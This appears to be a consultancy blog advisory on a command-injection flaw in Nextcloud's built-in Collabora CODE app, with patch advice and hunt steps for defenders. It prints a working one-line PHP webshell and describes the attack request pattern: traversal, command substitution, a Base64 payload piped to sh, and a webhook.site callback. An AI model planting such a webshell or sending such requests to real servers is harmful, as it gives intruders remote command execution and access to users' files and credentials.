Your Nextcloud Grew a Webshell Because the Office Button Took the Weekend Off

somewhere a sysadmin installed the “Built-in CODE Server” because spinning up a separate Collabora box felt like work. the app store literally says “for local testing and non-production use.” it is now in production at a few thousand places, and CVE-2026-110447 turns a restart into a root-of-your-data-adjacent shell. the bug does not even need you logged in. it needs your document server to be briefly asleep.

the one-sentence version

the built-in app bundles a copy of Collabora Online Development Edition and runs it on the Nextcloud host itself. a script named proxy.php starts that local server on demand when a request arrives and nothing is listening. in versions up to 26.4.302, proxy.php stuffed text derived from the request path into a double-quoted bash -c command. double quotes still evaluate $(...). so an attacker who can reach the endpoint while the CODE server is down gets to run commands as the web server user. that is the whole trick. a quoting mistake, a shell, and your weekend maintenance window as the trigger.

why “just disable it” is the wrong answer

Collabora fixed this in 26.4.303 on September 11, then published the advisory (GHSA-g3vx-3m76-fghh) on October 14. the advisory is blunt about the thing everyone wants to do: turning the app off in the Nextcloud UI does not help. the files stay on disk and stay reachable. you update to 26.4.303 or later, or you remove the app entirely. there is no “pause and deal with it next sprint” option that actually closes the hole.

one more gotcha: Nextcloud 29 and older cannot install 26.4.303. if you are on an old Nextcloud, your choices are upgrade Nextcloud or rip the app out. and 26.4.402 (the September 24 build that rewrote the start command to pass arguments separately) reportedly fails to start or fails to open documents on some setups, so operators rolled back to 26.4.303, which is the version the advisory actually names as the fix. patch to the thing that works, not the thing with the bigger number.

what the attackers actually did

this is not a theoretical “could allow.” three administrators reported it on GitHub, with the first observed attack logged September 10. the requests look like this:

• target is /apps/richdocumentscode/proxy.php?status
• the path carries %2e%2e (traversal), $(...) (command substitution), and ${IFS} to hide the spaces
• a Base64 blob is piped through sh, which writes a PHP file named shx*.php (one reporter found shrf4645.php) and calls out to a webhook.site address
• the webshell is a single line: <?php $c=$_GET['c']??'id'; echo shell_exec($c.' 2>&1');

on at least one compromised system the attacker then went looking for the good stuff: *.kdbx (KeePass), wallet.dat, keystore.json, and Bitwarden, 1Password, and cryptocurrency directories. per BleepingComputer’s reporting, operators planted PHP webshells and hunted for password databases, password manager artifacts, and crypto wallets. a webshell runs with the rights of the web server account, which on a Nextcloud box can read a frightening amount of other people’s files.

hunt it, do not just patch it

patching stops the next guy. it does not undo the last six weeks. if you ran a vulnerable build that was ever reachable, assume you were a candidate and go look.

1. webshells: search apps/richdocumentscode (and your configured app dir) for shx*.php and any unknown PHP. shrf4645.php is a named sample, not the only possible name.
2. integrity: run occ integrity:check-app richdocumentscode. it reports EXTRA_FILE entries that are not part of the signed app. one operator caught the whole thing that way.
3. access logs: grep back to at least September 10 for proxy.php requests whose path contains %2e%2e, $(, %24%28, or ${IFS}, and for sudo attempts by the web server account.
4. blast radius: treat anything the web server account could read as potentially exposed. that is the exact guidance the first reporter gave. rotate credentials the www-data style account could reach.

the timing detail nobody internalizes

the injection works only while the built-in CODE server is not currently running: after a container restart, an upgrade, or a crash. that is darkly funny, because the moments your document stack is most fragile (you just updated it, it just OOM-ed, you just rebooted the host) are exactly the windows this bug wants. the same maintenance that was supposed to make you safer opened the door. attackers can also just keep knocking until they catch the server mid-nap.

the broader lesson, delivered with love

an app whose own store listing says “local testing and non-production use” ended up load-bearing at a bunch of shops, because it was the one-click way to get Nextcloud Office without running a second service. convenience features acquire production dependencies the moment they stop being annoying. if your document editor can shell out as the web user, your document editor is part of your attack surface, not a checkbox. inventory the optional apps you installed “just to try it.” they are still there. so is their code.

sloth take

we keep learning the same lesson in new fonts. a trusted vendor, a convenience app, a double-quoted string, and a shell that happily evaluates whatever the path told it to. update richdocumentscode to 26.4.303 or delete it. disabling is cosplay. then go read your logs, because the version number tells you what to fix, not whether you already got hit.

Running Nextcloud, cPanel, or any stack where “optional app” quietly became “production dependency”? Want a boring, lab-safe exposure hunt before the next KEV three day clock starts? Book a slot with Dark Edge Consulting.

sources

• CISA KEV addition October 23, 2026 (CVE-2026-110447), three day due date under BOD 26-04
• NVD CVE-2026-110447 and GitHub Advisory GHSA-g3vx-3m76-fghh / GHSA-f97p-r72q-64h2 (CWE-78, affected before 26.4.303)
• Collabora advisory, fixed in 26.4.303 (September 11, 2026); advisory published October 14, 2026
• The Hacker News and BleepingComputer reporting on in-the-wild exploitation and webshell deployment (September to October 2026)
• wz-it.com technical writeup on the proxy.php command construction, shx*.php webshells, and hunt steps
• Nextcloud community forum advisory thread (richdocumentscode)